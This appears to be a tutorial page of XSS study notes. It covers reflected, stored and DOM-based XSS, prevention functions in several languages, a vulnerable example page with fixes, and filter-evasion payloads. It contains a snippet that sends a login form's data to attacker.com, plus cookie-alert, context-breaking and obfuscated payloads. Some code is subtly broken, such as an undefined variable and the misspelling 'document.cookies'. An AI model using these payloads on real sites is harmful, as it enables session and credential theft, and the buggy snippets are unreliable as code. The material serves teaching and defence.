Cross Site Scripting (XSS)
Introduction#
- XSS remains one of the common vulnerabilities that threaten web applications to this day. XSS attacks rely on injecting a malicious script in a benign website to run on a user’s browser. In other words, XSS attacks exploit the user’s trust in the vulnerable web application, hence the damage.
- One of the earliest XSS vulnerabilities recognized in 199 and lead to CERT advisory CA-2000-02. Over the past decades, various robust web security practices have become part of modern web application frameworks, protecting against XSS vulnerabilities by default.
Basics#
- As stated, XSS allows an attacker to inject malicious scripts into a web page viewed by another user. Consequently, they bypss the Same-Origin-Polity (SOP).
- SOP is a security mechanism implemented in modern web browsers to prevent a malicious script on one web page from obtaining access to sensitive data on another page. SOP defines origin based on the protocal, hostname, and port.
- Consequently a malicious ad cannot access data or manipulate the page or its functionality on another origin.
- XSS dodges SOP as it is executing from same origin.
Java script for XSS#
- XSS is a client side attack that takes place on target’s web browser, we should try out attacks on a browser similar to that of target. It is worth noting that different browsers process certain code snippets differently.
- Let’s review and try some essential JS functions
- Alert: Use
alert()function to display a alert in web browser. - Console log:
console.log()to display contents in the browser console. - Encoding:
btoa("string")encodes a string of binary data to create a base64-encoded ASCII string. And the reverseatob("base64_string").
- Alert: Use
Types of XSS#
- For basics, Kindly refer to basics of XSS:
- Reflected XSS: This attack relies on the user-controlled input reflected to the user. For instance, if you search for a particular term and the resulting page displays the term you searched for (reflected), the attacker would try to embed a malicious script within the search term.
- Stored XSS: This attack relies on the user input stored in the website’s database. For example, if users can write product reviews that are saved in a database (stored) and being displayed to other users, the attacker would try to insert a malicious script in their review so that it gets executed in the browsers of other users.
- DOM-based XSS: This attack exploits vulnerabilities within the Document Object Model (DOM) to manipulate existing page elements without needing to be reflected or stored on the server. This vulnerability is the least common among the three.
Causes and Implications#
What makes XSS Possible???#
- Insuffient input validations and sanitizations
- Lack of output encoding: User can use various characters to atler how a web browser processes and displays a web page. For HTML part, it is critical to properly encode characters such
<,>,',", and &into their respective HTML encoding. In Java script, special attention should be given to escape'," and \. Failing to encode user-supplied data correctly is a leading cause of XSS vulnerabilities. - Improper use of security headers: A misconfigured CSP, such as overly permissive policies or the improper use of
unsafe-inlineorunsafe-evaldirecives, can make it easier for the attacker to execute their XSS payloads. - Fremework and language vulnerabilites: Use of older and vulnerable libraries or frameworks.
Implications of XSS#
- Session hijacking: Steal session cookies, and victim impersonization.
- Phising and credential theft: Fake login prompt to user with phishing..
- Social engineering: Create legitimate looking pop-up or alert with in trusted website to trick users into clicking malicious links.
- Content manipulation and defacement: Attacker may change website for other purposes, such as inflicting damage on the company’s reputation.
- Date exfiltration: Exfiltrating any information displayed on the user’s browser like anything sensitive or personal data or financial information.
- Malware installation: Using XSS to spread malware, it can deliver drive by download attacks on vulnerable webisite.
Reflected XSS#
- Its a type of XSS vulnerability, where a malicious script is reflected to user’s browser, often via a crafted URL or from submission.
- Consider a search query containing
<script>alert(document.cookie)</script>;. Many users wouldn’t be suspicious about such a URL, even if they look at it up closse. If processed by a vulnerable web application, it executed within context of user’s browser.
Stored XSS#
- It occurs when the application stores user-supplied input and later embeds it in web pages served to other users without proper validation or sanitization.
- Examples include webforum posts, product reviews, user comments, and other data stores.
- It begins when an attacker injecting a malicious script in an input field of a vulnerable web applicaition, which might lie in how web app processes the data in the comment box, forum post, or profile information section.
- When other users access this stored content, the injected malicious script executes within their browser. The script can perform wide range of actions, from stealing session cookies to performing actions on behalf of the user without their consent.
Preventing Stored XSS in different languages#
- PHP: Use
htmlspecialchars()function ensures all special characters are converted to their HTML entities, preventing them from being executed as code. Also if you are worring about sql injection,mysqli_real_escape_string()orPDO::quote()can be used. - Javascript(Node.js): Use
sanitizeHtml()function fromsanitize-htmlpackage to sanitize HTML input. - Python: Use
html.escape()ormarkupsafe.escape()function to escape HTML special characters, andurllib.parse.quote()to escape URL special characters. - C# (ASP.NET): Use
HttpUtility.HtmlEncode()function to encode HTML special characters, andHttpUtility.UrlEncode()to encode URL special characters.
DOM based XSS#
- DOM-based XSS vulnerabilities take place within the browser. They don’t need to go to the server and return to the client’s web browser.
- In other words, the attacker will try to exploit this situation by injecting a malicious script, for example, into the URL, and it will be executed on the client’s side without any role for the server in this process.
- Lets understand some basics of DOM
- DOM is a programming interface for web documents. It represents the page so that programs can change the document structure, style, and content.
- Have a look at below use cases
// this is how we create and append an element const div = document.createElement("div"); const p = document.createElement("p"); div.append(p); console.log(div.childNodes); // This is a simple example of DOM based XSS const name = document.getElementById("name"); name.innerHTML = "<script>alert(document.cookie)</script>"; // This is how we steal the cookies of a user const name = document.getElementById("name"); name.innerHTML = "<script>alert(document.cookie)</script>"; // This is a complex example of DOM based XSS // This can be used to manipulate form data and submit it to another location // It uses a fake form which replicate the original, and submits it to the attacker's server const form = document.getElementById("login-form"); temp0.addEventListener("submit", (event) => { event.preventDefault(); const formData = new FormData(form); const fakeForm = document.createElement("form"); fakeForm.method = "POST"; fakeForm.action = "https://attacker.com/login"; for (const [key, value] of formData.entries()) { const input = document.createElement("input"); input.type = "hidden"; input.name = key; input.value = value; fakeForm.appendChild(input); } document.body.appendChild(fakeForm); fakeForm.submit(); });
Vulnerable “Static Site”#
- consider a static site, where the content is generated at runtime and presented in DOM. Fixes are updated as comments in the code.
<!-- This page expects user to provide their name with ?name= --> <!-- What if user provides ?name=<script>alert(document.cookie)</script> --> <!-- It will execute the script and alert the cookies --> <!DOCTYPE html> <html> <head> <title>Vulnerable Page</title> </head> <body> <div id="greeting"></div> <script> const name = new URLSearchParams(window.location.search).get('name'); // We can fix it by escaping the user input to prevent the XSS attacks // name = encodeURIComponent(name); const greeting = document.getElementById("greeting"); // Instead of using innerHTML, we can just use textContent, which will not execute the user input // greeting.textContent = "Hello, " + name; greeting.innerHTML = "Hello, " + name; </script> </body> </html>
Context and Evasion#
- Injected payload will most likely find its way within one of the following:
- Between HTML tags
- Within HTML tags
- Inside of JavaScript
- When XSS happens between the tags, the attacker can run
<script>alert(document.cookie)</script> - However, when injection is within an HTML tag, we need to end the HTML tag to give the script a turn to load. Consequently, we might adapt our payload to
><script>alert(document.cookies)</script>or"><script>alert(document.cookies)</script>or something similar that would fit the context. - We might need to terminate the script to run the injected one if we can inject our XSS within existing javascript. For instance, we can start with
</script>to terminate the existing script and then inject our own script. If your code is within a javascript string, you can close string with', to complete the command with a semicolon, execute your command, and comment out the rest of the line with//. You can try something like this';alert(document.cookies)//
Evasion#
Various repositories can be consulted to build ou custom XSS payloads. This gives you plenty of room for experimentation. One such list is the XSS Payloads list
However, sometimes, there are filters blocking XSS payloads. If there is a limitation based on the paylaod length, then Tiny XSS Payload can be used.
If XSS payloads are blocked based on specific blocklists, there are various tricks for evasion. For instance, a horizontal tab, a new line, or a carriage return can break up the payload and evade the detection engines.
- Horizontal tab (TAB) is
9in hexadecimal representation - New line (LF) is
Ain hexadecimal representation - Carriage return (CR) is
Din hexadecimal representation
- Horizontal tab (TAB) is
Consequently, bawed on XSS Filter Evasion Cheat Sheet, we can break up the payload.
<IMG SRC="javascript:alert('XSS');">in vaious ways
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav
script:alert('XSS');">
<IMG SRC="jav
script:alert('XSS');">